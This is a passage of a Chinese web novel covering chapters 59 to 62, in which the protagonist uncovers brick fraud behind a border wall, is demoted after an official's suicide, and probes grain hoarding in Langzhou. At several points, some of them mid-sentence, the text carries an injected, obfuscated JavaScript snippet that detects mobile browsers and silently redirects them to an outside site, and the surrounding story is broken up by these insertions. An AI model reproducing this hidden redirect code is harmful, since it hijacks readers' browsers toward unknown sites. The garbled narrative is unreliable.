“少将军,弗郎中说城堑最快一月后能验收,到时候要等北梁那边结束再一起回京禀报吗?” 陈京观没答话,抬头朝弗行远的位置看过去,他好像还是初次见面时那身装扮,与泥沙打交道久了,他看起来也灰头土脸的。 此时的弗行远正在拿着标尺做最后的长度确认,他似乎察觉了陈京观的目光,便转过头朝他笑了一下。 “直接进京吧。不过在此之前我们去一趟参州。” 于是乎陈京观的脚还没迈进昌用的门,他就又拉着董辉他们一齐去了参州。 要说参州,当初差一点就被划归到广梁平原之中,可惜当时碍于它防御作用大过生产,便将参州的主要耕地分给了盛州,把雍州的两座矿山换给了参州。 也是从那时起,参州就成了大家眼中公认的肥肉,如果做不得京官,家中有些势力的都会帮着他去争参州的肥差。 这也导致参州成了外强中干的典范,被遏佐一攻即破。 后来陈京观将参州打了回来,萧霖原意要派一位赋闲的员外到参州赴任,可最后换成了一位姓钟的户部给事中,其中缘由不消多说。 不过他此次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陈京观眯着眼睛听掌柜吹嘘,不经意抬眼瞟见墙脚处整齐累放的酒罐,那通体雪白的罐身确实少见,再配上瓶口的红丝绳倒更有一番雅致。 “往日你们不是都用红山的土烧酒罐吗?何时换的?” 一听陈京观提到红山,掌柜的脸一瞬间就变了颜色,但是他见陈京观确实像无知的样子,就又挂起笑脸小声解释道。 “贵客有所不知,那红山几年前闹过鬼,自从出了事之后但凡用红土做的东西,只要碰见水就流血。” 掌柜说话时的神情不像是随意编纂的瞎话,陈京观就应了一句,顺势问道:”出过什么事?” 那掌柜的原还有些犹豫,可是陈京观往桌上甩了一枚银子,说是要买酒,眼前的人便立刻坐到了陈京观身边绘声绘色地讲。 “以前红山烧砖,宝山开矿,都是老祖宗传下来的手艺。可是烧砖哪有开矿赚得多,红山附近的人就都想要跑到宝山分一杯羹。可人开矿也要手艺,红山的人过去根本打不到好东西。等他们在回家的时候,自己的祖产也让宝山的人占了。” 陈京观默不作声地听着,倒是掌柜说到这补充了一句“正可谓贪心不足蛇吞象”,随后他继续说道:“其实两个山头的人本打算火拼了事,可当时的参州知州是外乡人,他不知道这其中的门道。其实他若不插手,等这两派分出个胜负这事就了了,但是他擅作主张让宝山的人归还红山。那些人回去没多久就都死了,说是染了病,连尸体都被扔到窑里烧了。再后来,那砖窑就开始流血。” 陈京观听到这和席英悄悄对视,这又让他们想到了东亭的刑场。 “那红山的人都死完了?他们的子孙没想着讨个说法?” 掌柜摇了摇头回答道:“宝山给了他们新砖窑,并且划分了公用矿区,说是能不能淘到金就看他们的本事。如此一来,谁还会在乎真相是什么。” 陈京观听到这,顿时觉得此事简直妙趣横生,他笑着摇头,惊叹于这背后之人的高明。 掌柜见他明白了其中的意思,就奉承地夸他聪明,然后伸手揽走了桌上的银子,让小二送了酒上楼。 陈京观道了声谢,领着那小二去了董辉的房间,三声敲门后董辉将门打开,他有些不解地看着小二手里的两坛子酒。 “剩下的不用送了,今天我请楼下诸位喝酒。” 那小二见差事突然终了,连忙笑着往楼下跑,快消失时才回头对着陈京观说了句谢谢。 “你这是?” 董辉打开了桌上的一坛酒,那刺鼻的味道惹得他眉眼微皱。 “这酒很一般啊,你花了多少银子?” 陈京观摆了摆手没回答,见董辉还是一脸疑惑,就朝他伸了一根手指。 “一两银子,换了个鬼神消息。” 60.沉疴墨吏(二) 陈京观此话一出,董辉便摆出一副他不理解的模样,但是说话者不太在意,拍了拍他的胳膊让他先坐下,然后将刚才掌柜给自己讲的又给平芜和董辉复述了一遍。 “你是觉得,是宝山的人故意为之?” 陈京观没说话,从桌上拿了个碗给自己倒了一点酒,他刚抿了一口就险些吐出来。 “真烈啊,果真是一点味道都没散出去。” 陈京观的脸皱成一团,旁边两个小孩就开始笑他,他没恼,笑着揉了揉鼻子。 “公用矿场,并不是直接给他们的,况且他们不会采矿,宝山的人也绝不可能授之以渔,实际上宝山没有损失。至于新砖窑,我觉得就是烧制城堑砖料的罪魁祸首。” 陈京观顿了一下继续说道:“而参州砖为何依旧名声显赫,我想着应该是宝山的人还是在用红山的料子做正常的砖,毕竟红土确实是烧砖的绝品原料。这样一来,即使事情败露,与宝山毫无牵连。” 董辉闻言点了点头,随后示意平芜将今天他们查出来的几家砖厂信息交给陈京观。 “你猜得没错,给城堑供货的就是参州老字号砖厂,他们的招牌一直是红土砖,如果不是城堑之事暴露,他们或许以为自己现在做的反而是更上品的砖料。” 陈京观看着手上的册子,董辉就在一旁继续说:“红山的人还是在用老祖宗传下的名声,但是他们的心思已经不在烧砖上了,宝山借用他们的名声将自己烧出来的砖卖出去,即使品质不如原本的红土砖,那些人也不会说什么。从某种角度上来说,这是他们共同选择的结果。” 陈京观点着头,可他合上册子的时候却还是叹了一口气。 “自古烧砖的,那头脑怎么比得过自古行商的。他们若是聪明些,自然会发现老祖宗留给他们的才是无垠矿产。那宝山终有一天会挖空的,到时候,他们没了名声也没了钱,也就只剩下哭的份儿了。” 董辉在旁边附和了一句,但随即问道:“那你打算怎么办?要管吗?” 陈京观没说话,伸手把桌上的酒塞子塞回了瓶口,最后犹豫了一下还是把碗里的酒喝完了。 “他们选的,我怎么管啊。” 之后的几日,他们能获得的新消息基本还是围绕着那个装神弄鬼的故事展开,不过宝山与红山究竟是谁在当家,陈京观倒是查了个清楚。 正如宗毓庆所说,宝山最大的珠宝商姓周,再往下查,就会发现他们与周原任同根同源。 只是到他们这一辈,基本上已经只剩一个族谱上的关系。 不过这也足够了,毕竟周湘算起来,与萧霖也是这样远的亲戚。 现在整个宝山有三分之一在他手里,而荒废已久的红山也基本是他在管辖,如此说来,城堑从他这里进货倒也能寻到根据了。 可等一切查到最后,陈京观发现参州那家老字号砖厂的掌柜姓弗,正是弗行远的父亲。 在此之前,陈京观以为弗行远只是从中吃回扣,却没想到他可能也是这件事情的主要因素。 不过参州两派纷争的事情陈京观不打算管,红山无论之后要走什么路,他都尊重他们的选择,对于弗行远的行为,他也是如此看待。 整件事情看似水落石出,可陈京观的心并没有放下,反而在回雍州的路上,他总觉得背后发凉,像是红山那日的鬼魂真的寻着他来了。 等到了雍州,城堑的工事基本告一段落,最后只剩下全段检查和替换。 陈京观绕过了弗行远,直接找到了负责建造的总工,将他从参州买来的新砖交给了他,让他把楼梯部分全部重造。 也是看到了那总工的神情,陈京观才突然意识到,其实这城堑的上上下下都是知道真相的,不过每个人都沉默着各司其职。 而他,此刻也算是这沉默的大多数。 可纵使下定决心尊重他人命运,陈京观每每在城堑附近看到弗行远,心里总还是有欲说还休的意思。 与他共事了小半年,弗行远说不上有多聪明,但是干活总是兢兢业业的,他平时话少,除却每周来给陈京观汇报工期,他们二人再没有交谈的机会。 陈京观派人打听过弗行远的背景,他上头还有一个哥哥,如今就等着继承家业,每日浑浑噩噩的混迹于参州各大酒楼,也许是觉得他们傍上了宝山这块金山,以后都吃穿不愁了,所以这位仁兄花起钱来可谓是眼都不眨。 相比之下弗行远谨慎得多,他虽然只是个郎中,可是月份银子对一般人家来说已经算充裕的,但他在雍州这些年一直没有置地,家中妻儿也随他一起与工部派下来的几个工匠住在一起。 在南魏做官,谨慎当然是第一要紧事,可是弗行远谨慎的有些过头了。 这也从侧面印证出来,他其实什么都知道。 在这样的情况下,陈京观能做的其实不多。 五月底一到,陈京观就上书给萧霖汇报城堑的修筑情况,同时将北梁方面的建造情况也一并给了他。 元衡的命令果然是一等一的有效,那日陈京观看到的马车只是个开头,之后送到澎州的材料和工人络绎不绝,让停滞了四五年的工程一时间成了北梁最热门的话题。 不过元衡之所以会如此看中城堑修建,陈京观后来也想明白了。 元衡当时应下的是一个赌约,若他能办成事,那证明西芥是偏向南魏的,这三分天下的局面中两家联手,北梁修筑城堑便是火上眉梢的事情;若是陈京观没有办成事,那元衡随便找个理由耽搁下来,陈京观也说不了什么。 好一个帝王家的玲珑之术。 只是陈京观的这封信发出去小一个月,萧霖始终没有给他回信,直到雍州部分彻底竣工,他才托了人递口信让陈京观想办法别回来。 来报信的人声称是夏衍的手下,陈京观试探了一番没发现纰漏,可萧霖这没头没尾的口信意欲何为,他属实是没想明白。 他离开的这段时间,崇宁将蒋铎一党该清理的都清理了,许多陈年旧案被翻到台面上来论个是非,御史的嘴没闲下来,大理寺的腿也没有,就连刑部大牢都像过年一般热闹。 这些事情关策总是在折子递上去的同时抄录一份给陈京观,所以即使他远在外乡,也依旧知道阙州变天了。 但是崇宁始终没有提及过陈京观,无论是在诏书还是和萧霖的交谈中,陈京观始终是死在十年前的陈景豫。 在如此情态下,陈京观越躲越被动,他都能想象回朝那日,他看到的将会是一个崭新的朝廷。 那样的局面下,他是众矢之的。 而且单论这城堑工程,此事已经接近尾声,按理说陈京观最多等着朝廷派工部的人下来验收,再怎么推脱也就能耽搁到中秋前后,可真到那时候,他除了多一个怠职的罪名外,改变不了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14572638|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 任何事情。 萧霖说崇宁不是坐以待毙之人,他陈京观也不是。 于是陈京观没有听萧霖的话,他在收到信后的第二天准备回程,他拿上了在参州查到的所有消息,同时写好了一封替弗行远陈情的折子,他装作若无其,但是宁渡对他的一切反应了如指掌。 送他离开时,宁渡和董辉什么也没说,可宁渡放在陈京观肩上的手也久久没有拿开。 “我时刻谨记师父的叮嘱。” 陈京观目光灼灼,宁渡只是伸手整了整他的衣领,随后摆手示意让他走。 这一路不知是不是心境影响了情境,不只是陈京观,就连跟着他返程的大家都各怀心事,沉闷的氛围笼罩在上空。 中伏日,陈京观随着天上的烈日一同出现在了崇明殿的门口,可与往常不同的是,今日来上朝的人都没有与他招呼,其中当然是生面孔偏多,可是平日里说得上话的几个人也都视他无睹。 陈京观本是不在意的,直到看到关策朝他微微摇了摇头。 那天,他刚将替弗行远陈情的折子交上去,弗行远自述偷工减料,以权谋私的罪己书也被人递到了萧霖面前。 弗行远把一切罪过背在了自己身上,整个上书将事情的始末交代得一清二楚,但笔墨间夸大了陈京观在其中的作用,同时在这封信传入阙州时,他已经在参州老家悬梁自尽。 这封血书最终成了陈京观的罪状,陈京观也就成了知情不报的同党,而他手里的陈情书,无疑又为自己平添一项铁证。 直到此时,陈京观终于明白了萧霖不让自己回来的原因。 不过即使他不回来,弗行远最多就是从悬梁变成割腕,总是改变不了他会死的事实,而他的血书也一定会送到萧霖的手里,彼时陈京观远在异乡,说不定会在半途中重蹈陈频的覆辙。 真正会下棋的人,他的每一步,其后的三步都会为这一步兜底,那条既定的路线是允许出错的。 这是崇宁,也是未来的陈京观。 而现在的陈京观能做的就是见招拆招,索性知情不报不算是大罪名,更何况他只在雍州待了小半年,而城堑却修了整整九年,他怎么也算不得主谋。 此外,他交上去的《岭扬协议》也让他有了功过相抵的理由。 事情的最后,弗行远的一条命,换了陈京观被贬官到廊州做知州。 可也正因如此,陈京观越发觉得可笑。 他没有怪过弗行远,甚至他觉得如果不是自己的缘故,弗行远这十年熬完,或许真的能拿着银子荣归故里。 是陈京观的出现,成了他必须要死的原因。 他是替谁顶罪,大家心里都清楚,而他是替谁死的,陈京观觉得自己脱不开干系。 陈京观在接到任免诏书后退掉了阙州的宅子,但是出钱买下了那一片桃园。同时他写信给了宗毓庆,让他务必告知弗行远的父亲,他们的做法是多么的可笑而又荒谬。 陈京观把能做的一切都做完了,立秋之日,他的府兵赶着两辆马车送他去廊州。 在城门口,他看到了夏衍,他们彼此都没有说话,一种心照不宣的默契由二人的笑容传递。 只是真的踏出城门的一瞬,那大门在自己背后合上的一瞬,自己再抬头看“阙州”二字的一瞬,陈京观突然有些恍惚。 他拼了命进来,别人便拼了命送他出去。 61.沉疴墨吏(三) 廊州自从广梁水患后,知州之位空缺许久,一方面是因为陈京观,大家都不想去他的地方自讨苦吃,另一方面崇宁也暂时没有寻到更好的人选,所以那地方就一直由阙州派下去的巡防使作为督察,兼着知州的活。 让陈京观赴任廊州,是萧霖能为他做的最后一件事情了。 他作为广梁出去的少将军,即使是降职回到廊州,百姓依旧会看在他过去的面子上善待他。 实际上当时敬安山剿匪之后,许多人都下山在廊州安了家,倘若现在的陈京观想,他完全可以仿照着穆家三兄弟占山为王,他的名气足以做到一呼百应。 不过陈京观安然接受了这一切安排,甚至走的时候比来时多了几分坦然,他一路上有一搭没一搭的同平芜聊天,慢慢的也和府兵中的一些新面孔熟络起来。 此时若有人监视他,定然觉得他是疯了才会如此漫不经心。 虽说被贬廊州使陈京观偏离了自己原本的设想,但是能凭此离开阙州,他觉得塞翁失马焉知非福。 要说他唯一的遗憾,就是没能在那日堂会后和萧霖说句话。 他说过他不会帮自己的,他不会表明立场的,可是他依旧托人传了口信。 陈京观越发觉得不光是自己看不清萧霖,恐怕他自己也未必真的看得懂他自己。 只是来日方长,陈京观相信他们会再见面的。 他越往北走,路上的花草就开的越好,廊州此时的气候是一年中最适宜的,夏末时分山花还未残败,烈日却已倾颓。 他走走停停采了很多不知名的小野花,席英就用自己以前做的布褡子将它们全都敛在一块。 她这次出城没骑马,而是同陈京观一起乘着轿子,她少有的能静下心来做些针线活,与陈京观待久了,她仿佛也成了处事不惊的样子。 “你想要什么花样?我可以试着绣一个。” 陈京观让两个小孩在私下里不要叫自己少将军,平芜还能叫一句师兄,席英却找不到其他称呼,每次话说时都有些生硬的直接开口说“你”。 她此时一边低头做着手上的活,一边轻声问陈京观。 “你见过兰花吗?” 席英愣了一下,有些游移地点头。 “算了,绣个文竹,下次见到薛知州送给他好了。” 席英没答话,但是已经用手里的线开始在布料上比划,陈京观倚着窗户看她,冷不丁冒出一句。 “你若是叫名字不习惯,你就叫兄长。” 席英手里的动作怔了一下,然后就见她缓缓点头应了一声。 “那日陆皇后的话,你怎么想?” 陈京观始终记得席英在赋阳宫的样子,只是这些日子事情多,他没寻到机会问,正巧平芜选了一个人随着队伍里的兄弟骑马走,他们就有了单独待着的时间。 陈京观料定自己大概就是个漂泊浪荡子的人生,他也乐得自在,可是跟着他的人,应该有他们的归属。 “兄长是说那句‘你只是你’,还是那句‘找个寻常人家最好’?” 席英手上的活没停,从她的语气中陈京观听不出来她的意思。 “都有,我只想和你聊聊天。” 席英了然地点头,但是没有立刻搭话反而是长叹一口气,伸手指了指陈京观身旁的线团,陈京观伸手把她要的线递给她,听她开口道。 “我明白陆娘娘的意思,也明白你的意思,我觉得不冲突。我喜欢跟着你们四处跑,过去十几年我在那个小村庄长大,最远只去过镇上的市集,可我现在见过海,看过沙漠,或许有一日也能去看看草原,我喜欢这样的日子。” 席英的针线活不算好,但是熟能生巧,她这些日子没事做的时候就绣花,现在一个文竹已经难不倒她的了。 说话间,她手上那块墨绿色的布已经隐约可见勾勒出的竹影。 “至于婚嫁,我不像兄长一般瞻前顾后。”陈京观闻言笑了笑,席英却没太在意地继续说道,“如果有一日我能遇到心悦于我的人,我会选择去过平淡的日子。毕竟人都会有老的一天,前半生看过世界,后半生也该享享清福。” 席英说话时陈京观一直瞧着她,他原本以为席英会排斥嫁人,会排斥将自己困在原本的人生中,可是她的话让陈京观明白,她这辈子最想要的始终是选择,是时刻都能从心选择。 她不会被简单的世俗和别人的话语困住,相比于陈京观,席英或许是将军更适合的人选。 见陈京观半天没有说话,席英就侧过头看了他一眼,瞧见陈京观满脸笑意地望着自己。 “兄长原本是想说些什么?” 陈京观干咳了一声回过神,伸手掀开轿帘的一角,平芜正在队伍末尾和一个小孩说笑,他瞧见了陈京观,就扬着手里的鞭子朝他挥手。 “我原本想的,倒不如你刚才所说的。你果真不止于此。” 闻言,席英低下头的时候嘴角绽开一抹笑容,她抚了抚布料上凸起的纹路,用手指寻找藏在布背后的针尖,轻微的刺痛后她拿开手,任由针头刺穿布料,然后看着它在料子上留下痕迹。 她说不上自己为何会喜欢刺绣,可她最难受,或者最无聊的时候,想到的总是寻一块布来作画,她享受刺绣让她慢下来的感觉,也喜欢每一针都没有余地的果决。 当然,更多的时候是因为在刺绣的时候她可以选择,在何时落针,在何处落针,即使绣坏了无妨,大不了自己再掩一层新的去修饰。 她做的决定,只与她的心情有关。 这样惬意的路程,更像是一次旅行,是过去一年匆忙后得到的片刻休憩,等陈京观到廊州时已近秋日。 按理说照廊州的气候,这里的秋分时节必定伴随丰收,甚至还会比其他两州收获的更早,在这种情形下粮铺的价格应该是一年中最低的。 可是陈京观进城后绕了三条街,无论是街面上很气派的大铺子还是小巷间藏着的小粮商,他们的价格都居高不下,甚至有冲破水患那年阙州粮价的势头。 陈京观心里当然的生出些猜忌,但是他新官上任,又是从武将跨到文官,怎么说都有些不伦不类,在这种情况下他最好先收敛些。 于是他搬进了提前托穆家兄弟找好的房子,一切收拾齐整后,他登上了廊州刺史史忠的家门。 在陈京观还是昌用的马队伙计时,史忠就已经是廊州的刺史了,他是自请从阙州来到廊州的。 当时他给出的理由是自己不适宜在京城旧居,至于为何不适宜,他没有明说,萧霖也没有过问。 之后这些年史忠始终是那副游离尘世外的样子,他听不懂上门来攀附的话,也听不懂历届知州的暗示,不过他于这些人而言没有利好,却也没有成他们的阻碍。 他如同泥塑的菩萨,听完了尘世的愿望,却无动于衷。 甚至说那年广梁水患,他其实很早之前就察觉陈京观有所动作,但是当时的知州对此没有反应,他也就置若罔闻,后来得知那知州早就不想在南魏待了,他用廊州粮仓换了陈京观送他们一家去平州生活。 他就这样我行我素的过着自己的日子,无功无过,守着他家的两个小子慢慢长大。 陈京观站在史府的门口,抬头看了一眼上头牌匾,他身后跟着的席英和平芜一人提着一包东西,不贵重,但总不好空着手来。 “你家大人在吗?” 陈京观拦住了刚跑出院子的小厮,那小厮觉得眼前的人脸熟,但是又没敢认,就谨慎地点了点头。 “多谢,”陈京观笑着回应他,却又伸手抓住了刚要走的小厮,“见你家大人需要通传吗?” 小厮看着眼前人的模样,第一直觉就是此人不好惹,他原本想扯回自己的袖子,可是下一秒就打消了自己的念头。 “您是?” 小厮犹豫片刻开口问道,等着陈京观报出大名,他十分庆幸自己刚才没有做出什么过分的举动。 “少将军稍等!我立刻进去通传。” 那小厮一溜烟往屋里跑,不一会陈京观就看见一个书生打扮的人由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14582255|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那小厮带了出来,他见到陈京观时恭敬地行礼,然后笑着开口道。 “在下史如,家父今日外出要晚些时候才能回来,少将军屋里请吧。” 眼前的少年看起来很清瘦,大概十五六岁的样子,他说话时手上还拿着一卷书册,佝偻着腰显得有些拘谨。 “别叫少将军了,如今我位阶在刺史之下,公子直呼我大名即可。” 陈京观边说边随史如往屋里走,可史如听闻后却忙摆手道:“少将军之名,无关官职,是您当得起这个称呼。” 史如说话时腰弯得更低,陈京观看见他抓着书的手因为紧张而死死握着,他便笑着应了一句“谢谢”。 “不知公子在看什么书?” 陈京观想转移话题让史如放松一些,却没成想他此话一出,眼前的人反而更紧张了,连忙将手里的书踹进了怀里。 “没什么,一些闲书。” 史如的神色紧张,陈京观也便没有多问,跟着他进了正堂。 他刚坐下没多久,一个和史如长得极为相似的人从书房里出来,远远地朝他行礼,然后去厨房端了一杯热茶。 “在下史若,刺史史忠的长子,见过少将军。” 眼前的两人站在一起时,陈京观才看出了些细小的不同,史若比史如高大一些,眉眼间更多了几分锐利感。 陈京观微微点头,史若就带着弟弟迈步坐到了陈京观对面。 “不知少将军今日来,所谓何事?” 史若先开口,他的语气听起来不卑不亢,相较于史如来说更像是刺史之子。 陈京观示意身后的两人将礼物交给了史家的下人,然后拱着手说:“我来廊州赴任,自然要先拜过刺史大人。我所带的都是些寻常的吃食,想着第一次见面不好空手来,就将我身边能寻到的东西拿了些,还望刺史大人不嫌弃。” 史若嘴上说着“客气”,可是陈京观看到他与接过包袱的小厮对视了一眼,那小厮缓缓点头示意。 “少将军来的不凑巧,今日是廊州官粮入仓的日子,父亲应该要半夜才能回来。这些原该由知州或巡防使盯着,但是他前些日告假,父亲只好亲自去看了。” 陈京观端在手上的茶还没入口,史若话中的深意就抢先一步迎上了陈京观,他点着头没说话,低头抿了一口。 “所以廊州的粮收完了?” 史若看了陈京观一眼,点头应道:“半个月前起仓,三天前晾晒结束,秋收算是干完了。” “那官粮入仓之后呢?百姓的余粮你们统计过没有?” 陈京观这话一出,史家两兄弟面面相觑,他原本不想初次见面就弄得如此生分,可是史若刚才的话明里暗里在提点自己。 陈京观向来不喜欢别人含沙射影地挤兑自己,尤其是他本就怀着疑惑,但依旧礼数周到的上门时。 史若见陈京观语气变了,他那有些趾高气昂的神色就收敛了一些,史如看气氛不对,连忙开解道:“官粮自然是首先要紧的,父亲忙完明日一定会督促司农司去核实,一步步来嘛。” 史如躬着身子笑着,他自始至终都站在哥哥身边,陈京观看了他一眼,嘴里预备好的话又咽了回去。 “既然刺史忙的是我的活,那我自然不能闲着。麻烦公子替我给刺史大人说一声,陈某人来过了,至于司农司那边的事我会处理。” 说罢,陈京观将手上的杯子放在身边的茶几上,微微低头朝眼前的两人示意,只是他抬头时突然看着史如说:“史二公子,《浮生谈》是好书,不过‘吾爱吾师,吾更爱真理’,你我共勉。” 陈京观临走前看了史如一眼,史如楞楞地点头,他身边的史若瞧着弟弟,嘴上说了一句“少将军慢走”,而后陈京观便听到背后两人窃窃私语。 不过他无心再关注这两个小孩,他朝着平芜使眼色,平芜默默点头应下了,刚出了刺史府的门,平芜就让身边的人去查史忠的底细。 那边《浮生谈》,是苏扬的遗作,它不该出现在南魏的土地上。 62.沉疴墨吏(四) 傍晚日暮,廊州的街上炊烟袅袅,街边的夜市摆了起来,小商贩们一个赛一个比着嗓门,仿佛只要自己喊的声音够大,自己家的货就能卖得更好。 在春喜街的尽头,廊州司农司司丞的大门被陈京观敲开。 “谁啊?饭点敲门真是有规矩啊?” 门里的人嘴上阴阳着,唇齿之间还嚼着东西,他含糊不清地又絮叨了几句,可打开门的瞬间手里的包子应声落地。 “少……少将军?” 眼前的人将嘴里的东西一股脑咽进肚子里,他在陈京观来廊州调粮的时候远远见过他一面,那时候本想着凑上去混个面熟,可是陈京观没给他们机会,等着穆氏兄弟动身后他也就没了踪影。 “认识我?那好办了,我今日刚到任,司丞能不能留我吃个便饭?” 陈京观没有理会司丞的话,笑着问了他一句,没等他回答就自己推开剩下半扇门走了进去。 这司丞家里十分清简,正堂里亮着盏煤油灯忽明忽暗的,桌旁一个小姑娘正端着碗喝着米糊,她母亲看到陈京观进来了,立刻将女儿往身后藏。 “夫人别担心,在下廊州新上任的知州,陈京观。今日叨扰属实冒昧,请夫人见谅。” 那女子听陈京观自报家门后还有些怀疑,看见门边的丈夫点点了头便立刻起身问好,她身后的小姑娘也被一把揪了起来。 “春儿,给少将军请好。” 春儿抿了抿嘴上的饭粒,手上还端着碗,朝着陈京观微微举了一躬。 “少将军此时来,真只为赏脸到我家吃顿饭?” 司丞的脑袋已经停止运转了,嘴上想到什么就说什么,陈京观看到春儿后语气就柔和了很多,拍着司丞的肩膀点头道:“真的就是饿了,刚去了刺史府,没讨到饭。” 司丞愣了一秒,立刻让妻子去厨房拿碗筷,片刻后又觉得不妥帖,便钻进厨房将预备着中秋再吃的糯米肠切了,调了个简单的汁水端了上来。 “我不知道少将军要来,也没做准备,家里就这些能吃的,还望您不嫌弃。” 司丞说着就把陈京观往主位上引,可陈京观把春儿抱到了那位置上,又给她碗里加了块肠。 “你喜欢?” 春儿点头如捣蒜,可是要下嘴的时候又怯生生地望了一眼父亲。 “吃吧,少将军给的。” 司丞将一行人安置好,刚准备让自己的夫人去厨房吃,却被陈京观拦下了。 “一起吧,别惹得夫人这顿吃不好了。” 那女子瞧了一眼丈夫,随后笑着向陈京观道谢,跑到角落拿了个板凳坐在席英旁边。 “你们家平日就吃这些吗?” 陈京观嘴里嚼着包子,那面皮只有薄薄的一层,里面是些路边随处可见的野菜,偶尔能尝到些肉味。 “是,”司丞有些羞愧的低下头,“臣就是一个八品小官,一家子都指望我的俸禄,老家还有老娘要养。” 陈京观点着头没答话,端着碗喝了一口米糊,发出了赞叹的声音。 “夫人好手艺,这黄粱米很难煮糯,你这饭定是花了不少功夫。” 坐在最末尾的女子笑着应声,却始终不敢抬头看陈京观。 “我们哪里用得起黄粱米,我们是用了麸子熬的汤,临起锅时才加了些米粒进去,不过就是最后的体面罢了。” 司丞用筷子搅和着碗里的米糊,陈京观从他的眼睛里看到了些许落寞。 “不应该啊,廊州作为广梁第二产粮区,虽说比不得雍州的亩产,但是养活起区区五万百姓还是足够的。” 陈京观见司丞说到了自己想听的,就继续诱着他往下说。 “少将军有所不知,我们产的粮,我们自己是吃不上的。雍州的粮因为要负责外贸,所以官家征收的额度小一些,那些百姓留个心眼,总能省出自己肚里的粮。可我们廊州却几乎都要充公。” 司丞说着,脸上的神色越来越沉闷,春儿瞧见父亲不开心了,就用筷子笨拙地夹了一块肠递给他,这时司丞的脸色才有些许缓和。 “户部不是规定了征收额额度吗?他们市买司征收这么多干什么?” 司丞摇了摇头,有些无奈地叹气道:“人总是要吃饭的,他们收上去的粮再高价卖给我们,他们不就能赚一笔了吗?” 听到这,陈京观和平芜面面相觑,片刻之后等着司丞夫人出去收拾碗筷,陈京观才有开口。 “刺史与此事可有牵扯?” 司丞摇了摇头,陈京观原以为是他不知道怎么说,却听到他笃定地回道:“没有。” “廊州没有知州,他就是一州最高长官,他能不知情?” 陈京观有些狐疑,但是司丞坚持说史忠绝对没有牵扯其中。 “您刚从刺史府出来,应当也看到了,刺史家中也就是本本分分的为官所得,多一块不属于他的金子都没有。不过,”司丞顿了一下,“他知情。” 闻言,陈京观眉毛轻挑。 他对史忠的了解不对,但是当时他来廊州鼓动知州时动过其他心思,想着若史忠有所动作,他就另寻他法。 可是直到他帮着那知州将妻儿和家产全搬到平州,史忠始终没有一句话。 其实从那时候他就注意过史忠,但是这个人的存在感太低了,而陈京观面前的事堆得越来越多,他也就把此人抛诸脑后了。 如今想来,他应当是什么都知道,可是他什么都没做。 这让陈京观想到了萧霖。 “那刺史大人平日里都做什么?” 陈京观继续问道,而司丞有些摸不透他的意思。 “史刺史一直兢兢业业,该他做的他都会做,不该他管的,他一句话也不说。” 司丞这句话应证了陈京观的想法。 “那你可知此事背后的主谋是谁?” 陈京观此话一出,那司丞立刻闭上了嘴,他眼睛滴溜地转,像是在思索要如何回答。 “我不难为你,我只问你一句,此人在廊州吗?” 司丞依旧没答话,但是他的眼神出卖了他,陈京观伸手拍了拍的肩,说了几句应承的话,那司丞却始终没有应答。 “明日来我府上,离你家不远,就在怀阳街。我们挨家挨户去查粮。” 那司丞点了点头,陈京观也便不再多说什么,他临走到门口时,突然又转身跑了回来,从怀里拿出还没吃完的饴糖,示意春儿过来拿。 “去吧,别让少将军等着。” 她母亲在背后轻轻推了她一把,春儿就小跑着过来,她用双手捧着接过陈京观递来的东西,然后笑着说了声谢谢。 “对了,中秋来我家吃饭吧,我们把你家中秋的东西吃了,我应当还礼的。” 说罢,陈京观迈着步子走出了司丞家。 “师兄,你怎么看?” 平芜拉着马跟在陈京观后面,有些迟疑地开口问。 “他们说的都是真的,可是真相不一定是好的。索性这次不用再做查案的事了,我们把我们能做的做好就行。” 第二日,那司丞一早就等在陈京观家门口,可是他没敢敲门,直到府兵出来巡值发现他坐在台阶上打瞌睡,才将他领到正堂坐下。 “怎么来这么早?可吃过饭了?” 陈京观把领口系好,从厨房里出来时递给那司丞一个馒头,司丞犹豫了一会接了过来。 “您说明日,我担心因为我误了时间。” 司丞小口咬着馒头,一直低着头不敢看陈京观。 “对了,昨天还没问过你的名字,你叫什么?” “卑职丛愈来。 陈京观努着嘴点头,说了一句“好名字” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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相应的,这条街上的人也更瘦小些,他们通常是大地主家的长工或农户,平日里不是靠种地就是靠做工来生存。 “老伯,想问下这附近有粮店吗?” 陈京观拦住了一个扛着锄头要回家的农户,他有些警惕的看着陈京观,但是依旧抬手给他指了个方向。 这条街的登记陈京观不打算如寻常一般,决定先从粮铺入手。 他们走到那家旮旯拐角的小店面时,铺子里的掌柜正准备打烊,他瞧着陈京观衣着不俗,就笑脸相迎地过来问候。 “贵人要买米?我家可是廊州第一道口子,平时都直接从农户手里收。” 陈京观点了点头,伸手挖起米袋子里的黄粱米,那成色确实不错,只是他放回去打算深挖的时候,掌柜却用手拦住了他。 “客官要买的话我替你盛,这黄粱米不能随便翻的。” 